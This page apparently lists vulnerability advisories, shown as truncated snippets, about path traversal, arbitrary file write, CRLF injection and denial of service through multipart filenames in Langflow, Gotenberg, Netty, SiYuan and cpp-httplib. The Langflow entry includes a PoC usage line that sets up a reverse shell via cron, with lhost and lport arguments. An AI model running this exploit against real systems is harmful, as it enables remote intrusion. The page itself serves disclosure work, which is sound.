CVE-2026-5027

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias aYahia Hamza, quien reportó y analizó esta vulnerabilidad. CVE-2026-5027 ★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★ Descripción CVE-2026-5027 : Vulnerabilidad de escritura arbitraria de...

CVE-2026-5027

本文是由EQSTLab发布的研究文章。 感谢Yahia Hamza报告并分析了此漏洞。 CVE-2026-5027 ★ CVE-2026-5027 Langflow 路径遍历/任意文件写入 PoC ★ 描述 CVE-2026-5027: Langflow 任意文件写入漏洞 描述：Langflow Reverse shell via cron job python3 CVE-2026-5027.py -t --lhost --lport 4444 分析 漏洞端点 root@kitploit: POST /api/v2/files 问题在于上传功能信任客户端提供的多部分 filename...

CVE-2026-44829

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives...

CVE-2026-59921 Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without...

GHSA-GCJF-9MGH-3P7G Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder 1. Vulnerability Summary | Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final and all prior versions with codec-http multipart | | Component |...

GO-2026-4707 SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel...

CVE-2026-32749 SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outsi...

CVE-2026-32749 SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outsi...

Langflow has an Arbitrary File Write (RCE) via v2 API

Summary While reviewing the recent patch for CVE-2025-68478 External Control of File Name in v1.7.1, I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on...

GHSA-QVVF-Q994-X79V SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Summary POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. Details...

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Summary POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. Details...

PT-2026-25824

Name of the Vulnerable Software and Affected Versions SiYuan versions 3.6.0 and below Description SiYuan, a personal knowledge management system, contains a flaw in the handling of file uploads through the '/api/import/importSY' and '/api/import/importZipMd' API endpoints. These endpoints write...

OESA-2026-1554 cpp-httplib security update

A C++11 single-file header-only cross platform HTTP/HTTPS library. It's extremely easy to setup. Just include httplib.h file in your code! Security Fixes: cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to 0.35.0, when a request handler throws a C++ excepti...

CVE-2026-29076 cpp-httplib: Stack Overflow Denial of Service (DoS) via std::regex in multipart filename parsing

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.37.0, cpp-httplib uses std::regex libstdc++ to parse RFC 5987 encoded filename values in multipart Content-Disposition headers. The regex engine in libstdc++ implements backtracking via deep...